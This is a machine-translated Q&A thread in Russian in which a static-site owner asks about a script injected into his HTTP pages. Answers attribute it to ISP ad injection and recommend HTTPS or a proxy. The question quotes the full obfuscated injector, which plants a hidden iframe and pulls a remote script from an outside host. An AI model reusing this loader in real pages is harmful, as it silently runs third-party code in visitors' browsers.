
У меня есть статический веб-сайт. Я обновляю веб-страницы локально на своем компьютере, а затем загружаю их с помощью FileZilla. Тем не менее, после загрузки я просматриваю исходный код любой из моих страниц и вижу скрипт, который внедряется внутрь <head>
. Скрипт не меняет макет или видимое содержимое страницы, поэтому я даже не знаю, что он делает:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
Проверив URL в скрипте http://globe.moreforme.net
, я понял, что скрипт, скорее всего, от нашего интернет-провайдера (Globe). Поскольку я новичок в интернет-безопасности, я не знаю, как этот скрипт вообще туда попал. Мой сайт — это статический HTML. Как мне предотвратить появление этого скрипта в исходном коде после загрузки страницы?
РЕДАКТИРОВАТЬ:
Нашел этосвязьэто, кажется, шаблон кода для создания скрипта. Кто-нибудь знает, что делает скрипт?
решение1
Во-первых, это работает только потому, что вы используете HTTP, а не HTTPS.
Ваш интернет-провайдер внедряет этот скрипт, а затем использует его для динамической загрузки другого скрипта (в iframe?).
По какой-то причине я не могу перейти на сайт globe.moreforme.net, где размещены скрипты... он перенаправляет меня на сайт globe.moreforme.ph, поэтому сайт globe.moreforme.net, скорее всего, доступен только пользователям интернет-провайдера.
Теперь, если бы мне пришлось сделать смелую догадку... Я бы сказал, что интернет-провайдер использует этот динамически загружаемый скрипт для перехвата рекламы на посещаемых вами страницах, чтобы присвоить себе обзор.
Вы должны быть в состоянии предотвратить это, либо используя только сайты HTTPS, либо используя безопасный прокси SOCKS5 (который глупо просто настроить на VPS за чертовски дешево), посмотрев в Dynamic Port Forwarding
SSH. В качестве альтернативы вы можете рассмотреть ShadowSocks, если вы находитесь в стране, где есть общенациональный брандмауэр (Китай).
решение2
Это результат сотрудничества Globe Telecom с вредоносными сетями Flash Networks с целью изменения страниц, загружаемых их клиентами, путем добавления своей рекламы и, возможно, взлома чужой рекламы.
Законность этого сомнительна - они должны нарушать как минимум законы об авторских правах. Но учитывая филиппинскую юрисдикцию, я не думаю, что вы можете что-то сделать законно.
Это также причина, по которой все сайты должны использовать HTTPS и отключать HTTP (кроме перенаправления на HTTPS). Сегодня существует множество способов получить SSL-сертификат для вашего DNS-имени бесплатно, и это также улучшает ваш рейтинг Google.